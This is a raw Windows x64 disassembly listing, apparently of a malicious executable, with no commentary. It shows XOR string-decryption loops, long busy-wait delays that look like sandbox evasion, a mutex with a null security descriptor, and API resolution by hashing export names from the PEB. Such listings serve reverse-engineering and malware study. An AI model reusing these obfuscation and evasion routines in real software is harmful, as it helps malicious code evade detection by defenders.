psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x20
jl 0x140234f60
cmp r9d, 0x25
jge 0x140235141
movsxd rax, r9d
lea r10, [rsp + 0x268]
add r10, rax
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x25
jl 0x1402350f0
lea rax, [rsp + 0x268]
mov rcx, r15
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140235150
movabs rax, 0x7fffffffffffffff
mov rdx, qword [rsp + 0xc18]
sub rax, rdx
cmp rax, rcx
jb 0x14023bfdd
lea rax, [rsp + 0xc08]
cmp qword [rsp + 0xc20], 0xf
cmova rax, qword [rsp + 0xc08]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x268]
lea rcx, [rsp + 0x9c0]
call fcn.1402462d0
mov dword [rsp + 0x88], r13d
lea rcx, [rsp + 0x9c0]
jmp 0x140235498
movups xmm0, xmmword [0x140276818]
movups xmmword [rsp + 0x2b8], xmm0
movups xmm1, xmmword [0x140276828]
movups xmmword [rsp + 0x2c8], xmm1
movsd xmm0, qword [0x140276838]
movsd qword [rsp + 0x2d8], xmm0
movzx eax, word [0x140276840]
mov word [rsp + 0x2e0], ax
cmp dword [0x14028a090], 2
jl 0x1402353aa
mov r9d, edi
movdqa xmmword [rsp + 0xbb0], xmm9
lea rcx, [rsp + 0x2bc]
mov edx, dword [rsp + 0xbb0]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x28
jl 0x140235231
cmp r9d, 0x2a
jge 0x140235411
movsxd rax, r9d
lea r10, [rsp + 0x2b8]
add r10, rax
nop dword [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x2a
jl 0x1402353c0
lea rax, [rsp + 0x2b8]
mov rcx, r15
nop dword [rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x140235420
movabs rax, 0x7fffffffffffffff
mov rdx, qword [rsp + 0xc18]
sub rax, rdx
cmp rax, rcx
jb 0x14023bfdd
lea rax, [rsp + 0xc08]
cmp qword [rsp + 0xc20], 0xf
cmova rax, qword [rsp + 0xc08]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x2b8]
lea rcx, [rsp + 0x9a0]
call fcn.1402462d0
mov dword [rsp + 0x88], 5
lea rcx, [rsp + 0x9a0]
call fcn.1401fab60
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x4884], 0xffffffff
mov dword [rsp + 0x3504], eax
mov rdx, rbx
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x3504], eax
inc rdx
cmp rdx, 0x270
jb 0x1402354c0
mov dword [rsp + 0x3500], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0xbb0]
call fcn.1401f17b0
mov r14, qword [rsp + 0xbb0]
add r14, 0x5f5e100
nop dword [rax]
lea rcx, [rsp + 0x848]
call fcn.1401f17b0
cmp qword [rax], r14
jge 0x14023569f
mov r12d, 0x186a0
nop dword [rax]
lea rcx, [rsp + 0x3500]
call fcn.1402526b0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14023556b
nop dword [rax + rax]
lea rcx, [rsp + 0x3500]
call fcn.1402526b0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140235550
shr rax, 0x20
add eax, 0x7fffff9c
xor eax, 0x80000000
cmove eax, ebx
mov dword [rsp + 0xbb0], eax
lea rcx, [rsp + 0x3500]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1402355bb
nop
lea rcx, [rsp + 0x3500]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1402355a0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x3500]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14023560b
nop
lea rcx, [rsp + 0x3500]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1402355f0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x3500]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14023565b
nop
lea rcx, [rsp + 0x3500]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140235640
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
mov ecx, dword [rsp + 0xbb0]
idiv ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ecx
mov dword [rsp + 0x40], edx
sub r12, 1
jne 0x140235530
jmp 0x140235510
mov eax, dword [rsp + 0x40]
mov eax, dword [str.ppvpI]
mov dword [rsp + 0x60], eax
movzx eax, byte [0x140277298]
mov byte [rsp + 0x60], 0x31
xor byte [rsp + 0x61], 0x43
xor byte [rsp + 0x62], 0x45
xor byte [rsp + 0x63], 0x47
xor al, 0x49
mov byte [rsp + 0x64], al
lea rcx, [rsp + 0x60]
mov rax, r15
movabs r14, 0xff00ff00ff00ff00
inc rax
cmp byte [rcx + rax], 0
jne 0x1402356e0
lea rcx, [0x14028d548]
cmp qword [0x14028d560], 0xf
cmova rcx, qword [0x14028d548]
mov r8, qword [0x14028d558]
cmp r8, rax
jne 0x140235930
lea rdx, [rsp + 0x60]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140235930
mov qword [0], rdi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x5c14], 0xffffffff
mov dword [rsp + 0x4894], eax
nop dword [rax]
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, ebx
mov dword [rsp + rbx*4 + 0x4894], eax
inc rbx
cmp rbx, 0x270
jb 0x140235750
mov dword [rsp + 0x4890], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0xbb0]
call fcn.1401f17b0
mov r13, qword [rsp + 0xbb0]
add r13, 0x5f5e100
mov esi, 1
lea rcx, [rsp + 0x818]
call fcn.1401f17b0
cmp qword [rax], r13
jge 0x140235927
mov r12d, 0x186a0
nop
lea rcx, [rsp + 0x4890]
call fcn.1402526b0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x1402357fb
nop dword [rax + rax]
lea rcx, [rsp + 0x4890]
call fcn.1402526b0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1402357e0
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, esi
lea rcx, [rsp + 0x4890]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14023584b
nop dword [rax]
lea rcx, [rsp + 0x4890]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140235830
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x4890]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14023589b
nop
lea rcx, [rsp + 0x4890]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140235880
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x4890]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1402358eb
nop
lea rcx, [rsp + 0x4890]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1402358d0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], edx
sub r12, rsi
jne 0x1402357c0
jmp 0x1402357a2
mov eax, dword [rsp + 0x40]
jmp 0x14023bdc4
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x6fa4], 0xffffffff
mov dword [rsp + 0x5c24], eax
mov rdx, rbx
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x5c24], eax
inc rdx
cmp rdx, 0x270
jb 0x140235950
mov dword [rsp + 0x5c20], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0xbb0]
call fcn.1401f17b0
mov r14, qword [rsp + 0xbb0]
add r14, 0x5f5e100
nop dword [rax]
lea rcx, [rsp + 0x858]
call fcn.1401f17b0
cmp qword [rax], r14
jge 0x140235b2f
mov r12d, 0x186a0
nop dword [rax]
lea rcx, [rsp + 0x5c20]
call fcn.1402526b0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x1402359fb
nop dword [rax + rax]
lea rcx, [rsp + 0x5c20]
call fcn.1402526b0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x1402359e0
shr rax, 0x20
add eax, 0x7fffff9c
xor eax, 0x80000000
cmove eax, ebx
mov dword [rsp + 0xbb0], eax
lea rcx, [rsp + 0x5c20]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x140235a4b
nop
lea rcx, [rsp + 0x5c20]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140235a30
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x5c20]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x140235a9b
nop
lea rcx, [rsp + 0x5c20]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140235a80
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x5c20]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x140235aeb
nop
lea rcx, [rsp + 0x5c20]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140235ad0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
mov ecx, dword [rsp + 0xbb0]
idiv ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ecx
mov dword [rsp + 0x40], edx
sub r12, 1
jne 0x1402359c0
jmp 0x1402359a0
mov eax, dword [rsp + 0x40]
lea rdx, [0x14028d328]
cmp qword [0x14028d340], 0xf
cmova rdx, qword [0x14028d328]
mov r8, qword [0x14028d338]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140249550
lea rdx, [0x140242ad0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp qword [0x14028d560], 0xf
lea rdx, [0x14028d548]
cmova rdx, qword [0x14028d548]
mov r8, qword [0x14028d558]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140249550
lea rdx, [0x140242ad0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp qword [0x14028d520], 0xf
lea rdx, [0x14028d508]
cmova rdx, qword [0x14028d508]
mov r8, qword [0x14028d518]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140249550
lea rdx, [0x140242ad0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0xb98], 0x18
mov dword [rsp + 0xba8], edi
mov edx, 0x28
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
mov edx, 1
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
xor r9d, r9d
xor r8d, r8d
mov edx, 1
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
mov qword [rsp + 0xba0], rbx
movsd xmm0, qword [0x140277e30]
movsd qword [rsp + 0xa8], xmm0
mov ecx, dword [0x140277e38]
mov dword [rsp + 0xb0], ecx
movzx eax, byte [0x140277e3c]
mov byte [rsp + 0xb4], al
mov r9d, edi
mov r12d, dword [0x14028a090]
cmp r12d, 2
jl 0x140235ea2
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
movdqa xmm1, xmm10
punpckhdq xmm1, xmm10
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm9
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140277e30]
xorps xmm2, xmm0
movd dword [rsp + 0xa8], xmm2
movdqa xmm11, xmmword [0x140279570]
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0xac]
xorps xmm2, xmm1
movd dword [rsp + 0xac], xmm2
movdqa xmm12, xmmword [0x140279590]
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0xb0], xmm2
mov r9d, 0xc
jmp 0x140235eb4
movdqa xmm12, xmmword [0x140279590]
movdqa xmm11, xmmword [0x140279570]
mov eax, r9d
lea r10, [rsp + 0xa8]
add r10, rax
movabs r14, 0xff00ff00ff00ff00
nop dword [rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xd
jl 0x140235ed0
lea rcx, [rsp + 0xa8]
mov rax, r15
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140235f30
mov rcx, qword [0x14028d338]
movabs rdx, 0x7fffffffffffffff
sub rdx, rcx
cmp rdx, rax
jb 0x14023bfdd
cmp qword [0x14028d340], 0xf
lea rdx, [0x14028d328]
cmova rdx, qword [0x14028d328]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xa8]
lea rcx, [rsp + 0x5e0]
call fcn.1402462d0
or dword [rsp + 0x88], 8
lea r8, [rsp + 0x5e0]
cmp qword [rsp + 0x5f8], 0xf
cmova r8, qword [rsp + 0x5e0]
mov edx, 1
lea rcx, [rsp + 0xb98]
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
lea rcx, [rsp + 0x5e0]
call fcn.140240fd0
movsd xmm0, qword [0x140277470]
movsd qword [rsp + 0xc8], xmm0
mov ecx, dword [0x140277478]
mov dword [rsp + 0xd0], ecx
movzx eax, word [0x14027747c]
mov word [rsp + 0xd4], ax
cmp byte [0x14027747d], 0
je 0x1402362a1
mov r9d, edi
cmp r12d, 2
jl 0x140236238
movdqa xmm2, xmm10
punpckldq xmm2, xmm10
movdqa xmm1, xmm10
punpckhdq xmm1, xmm10
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm10
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm10
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm9
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140277470]
xorps xmm2, xmm0
movd dword [rsp + 0xc8], xmm2
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0xcc]
xorps xmm2, xmm1
movd dword [rsp + 0xcc], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0xd0], xmm2
mov r9d, 0xc
mov eax, r9d
lea r10, [rsp + 0xc8]
add r10, rax
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3b
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x4c8f8d29
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x6b
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x140236250
xorps xmm0, xmm0
movups xmmword [rsp + 0x3c8], xmm0
mov qword [rsp + 0x3d8], rdi
mov qword [rsp + 0x3e0], rdi
lea rax, [rsp + 0xc8]
mov r8, r15
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1402362d0
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x3c8]
call fcn.1402071a0
lea rcx, [rsp + 0x3c8]
call fcn.1401fab60
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov ebx, dword [rcx + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x14023bfd5
mov r10d, dword [rbx + 0x18]
test r10d, r10d
je 0x14023bfd5
mov edx, dword [rbx + 0x20]
nop dword [rax]
dec r10d
lea rcx, [r9 + r10*4]
mov edx, dword [rcx + rdx]
add rdx, r9
mov r8d, 0xccccfde1
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14023bfc9
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140236370
cmp r8d, 0x5ffb91db
jne 0x14023bfc9
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov ecx, dword [rcx + rax*4]
add rcx, r9
call rcx
cmp eax, 0xb7
jne 0x1402363c2
mov qword [0], rdi
jmp 0x14023bdc4
movups xmm0, xmmword [str._b_6.__.:_0y_b__]
movups xmmword [rsp + 0x458], xmm0
movups xmm1, xmmword [0x1402780b8]
movups xmmword [rsp + 0x468], xmm1
movups xmm0, xmmword [0x1402780c8]
movups xmmword [rsp + 0x478], xmm0
mov eax, dword [0x1402780d8]
mov dword [rsp + 0x488], eax
movzx eax, word [0x1402780dc]
mov word [rsp + 0x48c], ax
movzx eax, byte [0x1402780de]
mov byte [rsp + 0x48e], al
mov r9d, edi
cmp r12d, 2
jl 0x1402365c3
movdqa xmmword [rsp + 0xbb0], xmm9
lea rcx, [rsp + 0x45c]
nop dword [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
